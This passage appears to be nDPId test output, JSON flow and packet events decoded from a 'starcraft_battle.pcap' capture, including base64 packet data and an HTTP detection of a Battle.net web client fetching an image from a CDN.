bmxsaVJZSDQsCcqUJI+FcNelSOfgR8f3YZDSpQdga1P34dedKl6lOeaN\/UGP2fCmHpV4tKwoW1AcDUE+Y1cSuHvSrwAHPjwBywqal5\/Z9tfvrhUq9hKaVewlNKsg+IrhLSrwHgdPKgBoQeIyw4BNKnlcnJsxlWpy8ASDWuJdlNS1XnGxU55Ell+IBzBIxB0bXFeNKx76UC1aEGlfmUkrnw8CDgLoSNKew4UoEk0DVP8A4I4gWluotStWC4GVW88+H21zw7WbgpplAslMnyJPjXiTg7QWhOFRr2JKacCsgEmmf34YlAp0pVI0VHEg+IP7vhgQkcCrTalSDG4Na6suR9Qz5ivDBRI12utJW8TekipIBJp\/P4eAwRFCinB5171fD7a\/vw6VIhe6lAk8z5jP\/DD1ClCuWf8AHw+7Cp6yBTmfvOFrSpX2nPxJI8OdcIXNIpSwoyzNeGmjMAOdCPwmnPEwOdNTgVuPLlWoJFMia0oa4ki6UN4vTRXS1DUAjI158xxFCKfbiBBAqQK17yqeXPLlhkJqVLHLDC1qZKUB58fjhEHWoOPCs8jSv34ipWh2pAr4n78OtIpS9R8\/3\/4YSGmtSqnxP3n\/ABw6UyilgHxP7\/354dKRNZp5n7z\/AI4SUy1kD4\/ef5nCpC5peFeiGvLWuRI+054klDIBqTFUGtSaKcjWh5V+I5YnGFcvKhjWkPVvxE5+Jz+PDEnVIVleNM6nzP8APEaZxtTyZiuf3k+OEbVA05T4\/ecIEqKakkDz+8\/4jB6QJNJUFnVTUioJ+A4n7MIHhxqRSp1CuYJ8BxoPt8hgy0MinFqa5n4VP28+WGIKVE6VmlBly5VwkqNLXxNfv\/48cTaLVIfKpCqeINPtPj\/ww51SpgAhaeAJ5niK5nEb09L0nKpbLPnhqVOKvKp+85fvwhTd9OAZ8\/vOJDWorTo1V4n7z8PPD2qJINLGo8z95\/4Yao8acC04k+PE\/wCOHF7inIQ04FK8mNfP+OeEAaG522lAHxP3\/tzwUXNBpQBPifIk0I8D5YSL2UyCq+wNlPJGRqR6yRUORJ41B5Kf4YqOBjJBuTRIxbbzppZAWJcUXwHNuOk14hsQ3GplhAUmlrKyko\/qANNJNTQ5rqyyIr92H3Xoa89aRJJ1DmFqq0qQaH+lQc+WGN6e1IFRTMilQACRkeWfHPDVGnA5rmzGnCpHHlyw4N6M4+AUUtnc0VtZrRkAag1c0J4AAcuOLLNAeyhSH+3RdhE="} +00420{"flow_id":45,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959479,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLPBAAIAG2n\/AqAFkAuQucA3HAFCKhzgOJkK\/PlAQAQAFRwAA"} +02396{"flow_id":45,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959622,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdyVAADkG0ZYC5C5wwKgBZABQDccmQr8+ioc4DlAQAep4TQAA3CFTpjBGvMZvoFAY2GbHBXf6ZTlVZt5Ae2oMYm1FzSRcwrEkOn\/TXgVNcsBb9K8qP5m07edLS4liYlGZKn1AGgYZDjzpiJkc3S1TVdKsFperPGqHUDTOrVfPzHli4yXzQoNV3sCC4qTJCzRvLm6imeQlRgQCGABJUj4Yi5hLVGi0o3bSbcKI7a0ckbGRtJjZkdRqpKAodQzL8q6cpaZ6OGeD4pDmEg3XTn21F\/hcp1N6l3Fsz1KuGDFWpXSySxglE1eJU5+IpzxKSMkFwPf2d9B3jelMxzTBdDMCTXUknqWg+Y0NVag5EYG2R7W7Rp8qcuVUqWb+4hCflWzFCAkfSURshpqGtMtYzpy5YMMhzQhYz51FzS4ghPhTP1UJrWCIAUBjtpGEY\/M1ZrLGWdDwVsyTlwFcV3TxkrtHut8aIgOiJRCzv47eUFbZwrn1BJ1WKh4IFCVIDeeRzwXGyYoz9BPvFCljVBpeiMtzbzkmBJKO1JU6moBhxaM5GOQNzGTcTixI6ObxxA7va1VS0E2SkNF6QwJaJslfUa6qVKMMirqOOVMVyCCh140+1Gq4oeHaOyptvdvGVSUtJHlpYn8yPTwppzdKcjh1QVVnx2zptH9waUZQCSjJJrUkUKGvKuY5EYi7W1ZLm7H7HAArT9DwzPPjkeFK1y4YE4FxorW7Qlq8IySBU86Znwr4jEC1KRKUsRkA5nj4nMmnnhJVZ8gcESlaPjyyrw+HhhUNaUFyr\/M14\/x+3DXqww+Ggu8WsuV1H1OmwWK4XW2kMhrBJoH4RUhjyJxn5zHKJI\/q\/V3VrdNlYf7Mn0r4f+o\/zoKjOhKayEcetanSSD6HNTk8ZrQ8KHFDcUtWq+FhcrruSrt213DDZFNv3As1rO7R9U5pG0p\/LL8CYnrQ55ccW4Z\/0P8AqqnJAQskdxR3cdoa0PXttU9m9SDGeo8C1qusgsDFTMMK+GLTmuS2tUHNDdL0L0giqksDnUGop4jgKEYEp0NQrIWhFCa18fv58sOASaVYkjMlPVmfM8uNByyw5ag7qIx2jUqVCqLGnroQvAV1VGQA5Z1xGi08I0IPqPID5sqfaedMLWlTkcbqwcVqK8\/lHj8BiJ8HvpgdtGIwsiqwJowrx5ilfDBWflQ9h50voitc\/HL+eWEGlVog0Sl9LkQOAyIJ8+Xjif4UlFYEKAkqmivgaA5jxrTCSkop5YyQD4ZZnjxz5mmeG7qi6RLdlZaMUPpH2kmh8RTI1w9BBqO0QzBFP\/EjX95xJEorKiS29WBRqjiQfGmeYOHqaGvKvpzqPl41HA58eGHAU1Bx4U8iaqDgfia5Cvl4YKAR3VFaJxFooyI2KyVqZCobSNBjpGeKl0JDeWJAoE51BwVwIqIYyNVanOtcwONcs64ilT1pWjx\/nz5cq0w4C6U\/dXukfj8K5YJpTKKwYmpSpIORH\/T4VHDDUQSIEptYl5HPOnGvw40ywitSBUKKz0+JIJ01oAeYI8K14YmClqemjHn+MVBNASeFRyOJoaZaR0jQZ\/ipr\/GPifKnliTRUgaRc21SHNSSNBatNVM8ganicM4JUd26wGlQWsyx8eJA4eHnyrhweFSBpqWyqqvqZQqAMAS4LgnSWUFTQk0+GH0tTrUNbVkYONIqfVTUCcjwUsSAT8cSBQJUNnj3rTttbs0rhjp4lak+oGtQvhSn2YKxwp3BanNbhgAagClONQPPgeOCpURY1CljKNm2oEV\/pIIqCrAFiKeNc8DJSiVAdsyyLIrjgGWNVk0\/5idPNGUA0NBWSteIwtwpV42cciHqLImrgquGVa5+lhl6ScvhhEKKdrtpXUUMksHiNS7kEU\/K9PpBqHarnhwOWZGIlqBaK14JSsQR\/mKwOoKSAanM\/h1AGtQeHnh2tUg9tSJtVkkMscJcSkuVVS5JSQilZkIJqiSVq\/3jFjtoajjQu5nnlkE="} +02393{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959752,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdyZAADkG0ZUC5C5wwKgBZABQDccmQsTyioc4DlAQAepnsgAA1OpJpA0k+pqUNI+o5zAPAnjgYc4\/VrUy1v6bCm5f8oM3UXRXWylmFCCAGPzNn4cMM4rUWEkmgV0dRIYAU5LWlGzGo1rqIwE3sNasvd4AtDYwK5k\/iowahyFRqBzqRwPPhhiCBUGEbglImXVUhWBUfO9RqqclB86\/AYgQS21E3XSoLIyatTUDV4EnM8vvOIogNEWkqjgA6uQy88uflgd6k0blThToNF1MSv8AV6uAHwxPdUfwqJO6FSNRJPhU0qCePjiJK07XBpXsobw4LWlKVJoeWGvxNWWjf8Kyes5NMiaUIH3+J4YakRtKcqZow1VdsxQ5mnh40xAtUrT7gG7a9oiABYsSeAbNWbLhTDhoGutJse4E8BTYVQTRFGWo8eApkM8uOEL1MRk3WoUrMXOliMq5Hny8+WIONRjKkjlURgwzJY8RStcz8QfDEKNTTCprU8ufl9mH76kLGkFTWtOP7ZjDWogKhawwyJJ5cKnnw54dBrTnQ00QRnnnTDUCmXjalfm+BIp95NcDISjNCU0UoOOeXP78yc6Yak7SkUNPL+P3HCtSDuFMsvgSMxzNP3HnTwwy8qmtNlcqajkDmNXx8eOFqKWopkgA\/OeX4j5fDhTDNsEpgAlNMwzGqtPM+X28MIlKggFIL+JI+3\/jiDqmButTDspGTZ15Hy8jXEb1LZ3U1roK1OXE1Nc8RKiptFkpBYkVBIHift5A+WBkqamGqLa00S2efEGlAaZ5Z1GGSptagQ61FcHiPPn\/AMcSBAqBCUwwZvEU4mvw8MESohKboa0JI458eH24Z1hT2pdCMsyBlxpXENqhaIHhESvCMnMCn2n\/AAphGwp\/MHKs9M8wfvr5YYmoulACIaxoHgP2+zDJyoW7vrwj40NPtOIm1IvArITlTwzJ\/lxxA0xeOApWnKg8KGmGXjUFpvT6qVOXHjXhzwr1JQiVgrQE1OQqf2By44XfTjWkGOo404EEVPHjnWlKYV6kSmtJYaBxPA8yeHGtcNS+qo4csNWYzNBUmoyo3lXwxJEqaJSWIIYagNNK5kU8BhkS9OAtQz8cIlKLpYaUkjMZ8PM4iTektJK1P3czwGEtJaxmPHDoKlakkV4k\/ef8cJKevfafvP8AjhkpVinmfvwqda8RlWp+FfOmFSBulIzP4j44SKadKzRjwrhOAAuaSgVgr+2f+GB7wONJQakRxCmo1qf3jkcDe\/cVAtTbiNKep8fvP+OBrTF7nWNQ3YsxOfh4U\/fiQ51MIgpGfj+334VTDVvTkaktXP0j\/lhjpTOCBae+04HeoJSJIxIpVq+R5g+OHDiCopUNkjaNtLceR5EeRxYBDgoojXA2pvCqVewqavEYVIik4VRr2FSr2GNKvYVLSsU+P3nD0lr1Pj95\/mcJKVZBPmPtxGklLHKlc688SqK0uh45g+ZJHw48sPT1k\/HL9vPCNNTbA\/yOZ+zDdlIa0k1wkpzrXqHlUj9uWFSX41nhxJBHAZ4fu0pVip8T9+FSrGGSnrPLiaj7vgMMRTVjDU9YwqVew1KvYVKvHCKmlWMQU03Gs4V6ekPyp40w4pUtVOZAagFTSpy5jyw4HHhSppqEmlacgSQQCfDxpxHDDOp6wPH4c+WIGomm2Y5AVqeVfsGFUwONLX0Iz1zI0KM88iCfs\/jhqWppjD1Olg0px9OeXif8MROtRNJJzOdc\/wBvjhxTisYenrIzPP7OOFTG1Zy48uVRSv8Aww1Nen0Snqb7ByHn8cSA41EmkkmRqVIUfwPE\/FsNqafSneGQyA4DEqgbGvYdTSrxYgVHHkPPDU4vSR6SWY5niSTkOQH2Yanpompr+37ssRJpV7DXpUTrx+J+zFka0ris1Hw8+WHp1pLUPn8P+IwqZbqKwABn5YcUl51nCpqUMOClOKdDgDIZ+H+JxIO5a0gtOJmKnn\/ywViopp6WBx8vP9uGJU1LFQc="} +00419{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959762,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLPFAAIAG2n7AqAFkAuQucA3HAFCKhzgOJkLKplAQAQD53gAA"} +02401{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959893,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdydAADkG0ZQC5C5wwKgBZABQDccmQsqmioc4DlAQAerIEwAAPyrypXL+Phhu6lWSG+AqDUfwbxFMIhb0wUa0ocKcaUBPj5\/bhxpTqtZw9Ks0OFSWshfsw3GmWnOnUV4\/4jj8cPTFxpJQj+XlyyyOGSmBFNkV8R41qTXx\/dhkSlWCgYZgHwqPCvAjgcMgNIikrFoqVzJHA1yzyCkHLPPPDIG3FNWWMb0SZBnkC1AKjIaXFKH+eHXcUcPfTi1MPZUJaF6+Eb0PDiA2StXzxAx\/qaakDz1qMUZTpdShoDob\/wACakVHKnLEUOlPTbRLyOk8aNkOVM+HPEdvKmpto2U0I8qjMH4EZEYiQaVJzU+Bw9NS9YPFa+J5kfyOHpUqn9BJ4ZE1z8K\/HhhBPdSrIPiCD8DT78JKVZwqVZw4SlSguFUVpdcODTLTileVVb+ocx4ceGHW9OCB30\/rGWoByAASBRyMjkfwjx5Ylu4HSpKte6SPmrA\/aFbxp4E4Yta6mQGmHiZa8\/jkftPA4iWppTEUjhxyPgcsMQaQpdCSAB5V5ePHPESdoWn40+qADLj4\/wAc8BJLj2Ux5Uuv7fbw88MnKorw40078h8CR+2eDMjvuNSAGvGmsHAp6yMPcaJSp1EYioGVTTx8OGIlzV1plpX2EYex0p69h9TSrIrggCC9MTTi1HIHwqKqPEOKgsh8ONcLupl5VIAFAQGzp6lBJrzrU5sv4uRXLExUSF0rziqEek0pWmdCBUV\/q1Dg3ADLDOChBrUQU76hitaEZ\/t8cRFhfhRAaWcifj8Phl9mIfqpnWFKFfP9+JWoJNKOZxFwvTLXgpOGsKalaT5YcXp3At1parTjx\/5YeoUrjhUtazhJT0sDgfPDpzpxWdOXh9v34QpiaUFoRha01+NSFUhC3KnnX\/DBWfTQv1r+lKRpPEfYPuzphaqKclKWoGQ50zyA+\/78IggLS1C07TwyxEa3qNZoft\/dw+HjgwSnSsgcDwy\/jhU6J30uMfMacOOXhxpgjEvSdfSntQIzJpyHmeHwJxOyW1qDjxpa0yHMAVPjhUM1nPwqvhXM\/scOKQSnQQKaiTwNKEGnlTwpiS27KcHlUgMB8OP2Hw5YZamFFqdRh4Gh\/d+1cNc0+tP0+7DfjSpajmaf4fzyw6JQy8Kl6cUZj9vtw4HxptwNgq08oz+\/+GHSnA506B5DM\/DPl5YQFOQNeNLVQooQD4EeGCBvKhOeAbqtOBK8f2\/jiaNqvenFjp\/z\/bPCFMtKKAD\/AAy8+WHF6QKmge6BQI21CoYgLTPSRRgxpnwyritOEcKIFcBwoUgUng1cs+RTLQak5NXyxWNEuGEcayRWtKliOfqJPDM864WtMxC2+tLKkEArSgXyz8acBhyCNaG5RrTiRl30niMh4VI5UHOmEATSII1pZjCsF0DUaVYk5DmBTIEffiZaoQa0RQAF0qQnpYxtXplRQ1PoJNEmJGZGrEgoCcqEXAkkaE0d2u1uL13tIIS8wElEX5gsSVkZq1BjINcqccSklZFAXyFGqnbUWQOkkHlga\/Dv7KiSoYo2UghmKig4FSanwIYHLyocCdIHRK1daI2MteXO7q8AWjWSmoBqSKaGmWXmAR+\/EoyZGqdRU3NLrjhWE1RvrjPTINaLUilSaEmmIhQLFKElWW1u9Sg\/JKaA6c9YoPTQ0BJxfjnO3bQHxtYFYTuJqartFPHcW0RBGkaFoCeJZUc8CaZFvtw5UOD2+y1BdOwUfieO5jLOlKo2pC7IEFRqWqj1JrNPHUa4uscJLAgHj7caEWnzd1ttQ5YGjaMT6YEdqLcuxS2k4dP6hiG6E5rQtkG44rvY5pG6zXFAeC+6pjaiEgH8aGXDXETmKQlOmxykVdGgio0uuqNw2RUg0IzGKMpRyKSaMzQkoleWZkkV1ZWNQ4JXKjKAQCAQR5Z5YAHva5TpTE+Zdlko5AY54xLAUQ5iRAoZtYzZgr5AEZYvhHtBZVcgovGpcR0="} +02386{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":960171,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdyhAADkG0ZMC5C5wwKgBZABQDccmQtBaioc4DlAQAeqavAAAJDIREW4ihAJB9JNKUJHlgoLmDw0wao0FS4BKxaoHEDUTTV9g5Yk3xr86XYeFTntjqGkjWQpoajVXI6DShK0zzxJEsaC+NznK1BTlt1LdjJEaHg6EZOOJBFMjXEHFSlMMWNw8f1UahlSX0qKS6dRhBqV5MVY0JBPHERyNY2TjPxSXtBc110F04cU+FTdIyI4+H3ZYHfjVN4Lk22r2j\/h4\/ecJKEWpc6V6gzqCeR4ZZ1\/lhIak1qX4UoEcACMqftTgScRPLjRe7SvaNf5bqSHBQgCvpbIjOuWeBvALSDoRU4nbZGuGoKiqle2EllKyyK7REkQzEUR0qQtSaDXTljHlhMRspaa6GPKEzQv16JxPb3VGXMUoTlSlPjlQccCo3C2ho9tfcO6bWFWKRJ4FAU29wheMxZ1i41zHA8sHjnlY7dqKg+Nj2lptytVik3jZL4RPCJNtvZHVZLSU6rUOxoGSfMBXYgZ0oSMWhOxzrhCaoS4sgYoT291OvC8bGORDG4PytqBIzzVjTqKfEYOg4VTIc0KbVinCn8uB4g05UwuyorxrGkUpShp4fZkPAYRHZTgknWnEJU+INKg8AviBWgOeBJyo7VaL1PhYHSC2n5iAxNDwJoQDUUOGIqajSicC6GC6SFpkCAOda0yGJAprSNTwnl55ZU5jgMEAtQC4rWdBrSn+FB4HCtSBJNJ0ioB550zGQ45ZYaiC1jToXMU4H7Bl8MOKZzSfhXmQ5jTwNcxl8R8CcOia0PSmHjFSaUNOfKmJJUw5Ka6IoMq5Dnz8cIBafzANayLatGyz48eGX78EDSDUSVuKUsRV8hlyyOVRnnyxMXtTA86kLFWgPl8PgcMQQUNOtKMNKVoR8cq1Hwzw3ZSWpQt9Y1FAi1pmSSRUmooCK188HtUVt2021sQaA14Zjw4Cn3\/dhLTqKT0KAnOh8M+WeZGHqewkU2IQCdIzrkf5DjywyUQKAleER5itB9lK+Q5HDJ8adaSYwuVPI0J4cxyy8sSAJpLWFhoWOkBCQyjMitKHxJpgnGmVKXJCGWpAqGrwyz4UpwzOFrTi1Q5Ih+FaEVzpReWYphD5UgajdMgg0z8hx8fM4kAdRpUwVFRZ40JBNBThQACmVanD9lIlAtR46rIp0kcQSQKUYU9OQPA4I3SohwcFFSjJSM60agIFQgoDmAwAJLZEZc8E3BVvTpUWdUdCaMhpSjIwpxFBw4EYklJaBXMX5iqpc1AClWzDfhEbEfluzczlTAwCdKdrg0qeVS7da2yAhSRwKlgjAEj5SDQ5ffiaHSkoN6W0fmwBHAEMMuICkZ\/fhqVNJbR6100V9WhQhChixrm1NKmmdaGmHGtIE6USmt9ceSsAdQ0sEaRyoppMxBfSBll8wwZKmeVCZ7ehVQmqqrRmagQ5alpWujPlmKYEWkWNRUjiahTwuI2ZBIhRqA0oGJ\/oGQoB9tMRojVCryoTLD82vM5Ak5knkSeZrgLmkFatgWHdUNIo1bVJ6VGYZKaiwGWpTXWM+VKYa9JBqEBpiRVcMD+axYkZkKozz0jywkOtRL2g6VDAQ\/hIPDlmK5AihFP34W3npTCVul1rLRSIC2ioJz4+kHhXPnXlhtoNTL9hutNfSq1W1VUjlUaqcMjywPaamvwpgxRgkolTQrq8\/DTTxHEYdwtepMIBU6JQ6Sqvp0Clalhm1RxHLjXECAbUdrkId2U1ryOR\/wCYPOuWWG2miea086a0g5NQ1yPMUNa1BwxFqXmNJQCvaQMmkRVFSASQfgMsRUcachTbSkNoA1A5Z\/dxzzOGBFNtdwNQXMZNARWnEc\/tNK4Y6VGMOBKgio7FOHGnjn5HDJVgNKLTDsgGXhyAy+OfPEFCpenDSaY6iU5\/+U1\/iMOlSAcuoSkNOpFNJyypRRkOFSM+WGKCp0w0tR6Vp8c8QJFNTbyELUgn4ffzOWQxG1SuKjc="} +00419{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":960181,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLPJAAIAG2n3AqAFkAuQucA3HAFCKhzgOJkLWDlAQAQDudgAA"} +02403{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":960384,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdylAADkG0ZIC5C5wwKgBZABQDccmQtYOioc4DlAQAeqwdQAAVc1qBTiPH9qYe3KnRe6mC0g\/HkeQHDP4csRKItJE5U2zMRm2fNaZeXDDWWibSG7uFMszAjh+334dajrTMhY8fLP9hhDRaR1pqmeAqtLc1dKRpPlyw9OGkUkx\/bn+77q4aphpJ4Ukoa8iK8OP7Z4E41MNQ30pPTGWR48uGZ8MQ\/GiWrJirTIgfA+fHPDIaRKBaaeGtKCp5nPl8cOCmtCc8GmnjIzAz5j45Z08DibXDjQgdutNCL+oVzP3k\/wxG9JzlCDWnNH31yPL\/hh\/wqAJpDqwoR+Hj5+H8cManusnGsMtc+FR+1cvLCplPGkBcxzHh+2VK4SUlr2heJrXjlwqOGWWWGvUmkCsFdJpU1pwPDzz+zESKgQtJy4eXx58K+dcRLaXbSeZJHl8R4jzB4+WI8KXYKQxU04\/A0ofjyOHSpbSSlqbaQAZkLnTlTxNKV41wkonlu5io7TjLSoahzrl8RhqmGHmKjNNJwACrxpSufM1ocPRSg4UwSTWvM1r40yrTLDkqEpl+NYpiFqftr2ERSrFMMlNXtPww+01JDWNP2cMv2zyxIU96wEY\/KpP2YSN4kUlpYgc8qZZVP8Aw8cDLgKVK+nqPUxA\/wCn\/HliHmJppSWo5Cg+muWQzrw5kj4YiXk04J91Yz8TUV8\/LEbnWnpSLrIHnn\/4ED\/HEUpKBUunDLLCNqilNSsVUgHNsvh\/xw1O0XvUOlTTn4+JpXD0SsheIyy5\/EHCoguLVKjXSoHMipPx5VxA60BxJNZK\/wDPP\/jhC9MtJ\/b+GGIutSpiWjHSRUA+A\/diYUXbRNp4VAddLFfIUp4f4jBQQQtIHhSMOKesYRp6wcNUTXtJ8DhqibUvTSn+Ff5Ye9Nes6W4UFCcqjny5YVJaz0uRbP+WEtJa8YvA5efw+GEtMtI0VpQHPx4ftnhd9OtZA08aeXPCBpLSq1pl9v2j4HD606rSsKlSSM\/j93lXDJxpjSB45Uzwvxp+HbS8vhxwre+orTbcfsw7dKcUnCp69hUq9hUq9Sn2j9xxFKevYRFKsYjSr2FSr2FSrFMRRKZK9hqda9TUdP2k+A5twPDCAWlSm56TUA51HAU\/pqK0GZ8cT0FPTNK50+\/jlyJpwzwMk0y1hjQV8P3+WIimbc0mIamLHjlpHixOQ+7Cqbilq9MatQGqrVR8eZ+3C407QgpoDD09ZrT9uJ5nDcaak4epV7CpVn7qA8fHywqb8aejSp1EZDgPEjn9gw6VEnhWWLO2hcx455jx8Sowx5CkLXpxVCig+3zOHpqzhU1Yw9NpWfPDVKmGfVkOA405n\/CuGJFOid9YxCmrFf35+dKYlw7adKKsDUsONTUeOZxZHKlShRhwNf4f8MJDTU2y0Of\/PCSmrIw9OOdKw4FSr1MMhWkK9iSX7KVSwOA+zBxZtNSwMz4cPEfxOEdKVLwwpVnEqasgVNK5nD0qUF4cvs\/iMMaXFKXppz5eXlzyrhItMUpSg1+7z4+Iw6VDWnqYelXqf8AHDpSpJiB4DP7iP8ADDIKa+gpoxEHnw+A8csMWppSUVjSa0\/dhiBUgVrJTKhAKniKAg\/YcMnCmPzrHTIA0sQB+BqsuXA1BDD78MiC1MCnfWSQVpIgI48NQ48hQUwlCIRS386jtbRuKxPxrkxJX4AgVBBHOowxYDpU9wqOYXQkMCnOtNUbGuVVqRQ+VPhiOwi1IkDSvNDGeKlePriqycM6x0L0r4YYsC0yior2zgakAdeZQ6h9orUYiQRSWmKMDQHOlcsN309LUngc\/j4cq\/HCpLSwARxoa8OXka4VNS1BHHP4cPL7cPfhTGl0yPDLIjn93lhUyVjDgU1ZpzxJKdDrSgTkT48ePh9uWGp1OppWocaU\/l40yGEhpwlPJIwFMmHgwrwpxOdMsLcR309L1xtkVp40Cn7q8csEDgaa1eFuCKxyUHlnTjSo88QLAR0="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":675,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1437389985960,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3534,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":960792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LPVAAIAG2m7AqAFkAuQucA3OAFAbejKQAAAAAIACIAD\/hwAAAgQFtAEDAwgBAQQC"} +00617{"flow_id":50,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":961650,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"hCYVPnXEIImEa8W6CABFAAC6LPdAAIAG2ebAqAFkAuQucA3MAFCmW5Teuc+ZnVAYAQBV1AAAR0VUIC9jbXMvYm5ldF9oZWFkZXIvNzgvNzhYSDJVTlU0SllLMTQzNDU2MDU1MTY4Ny5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":680,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1437389985925,"flow_last_seen":1437389985961,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3532,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_header\/78\/78XH2UNU4JYK1434560551687.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00434{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":962002,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDc1+R6dFIysb3oASOQjP5wAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":962022,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLPpAAIAG2nXAqAFkAuQucA3NAFAjKxvefkenRlAQAQBIwAAA"} 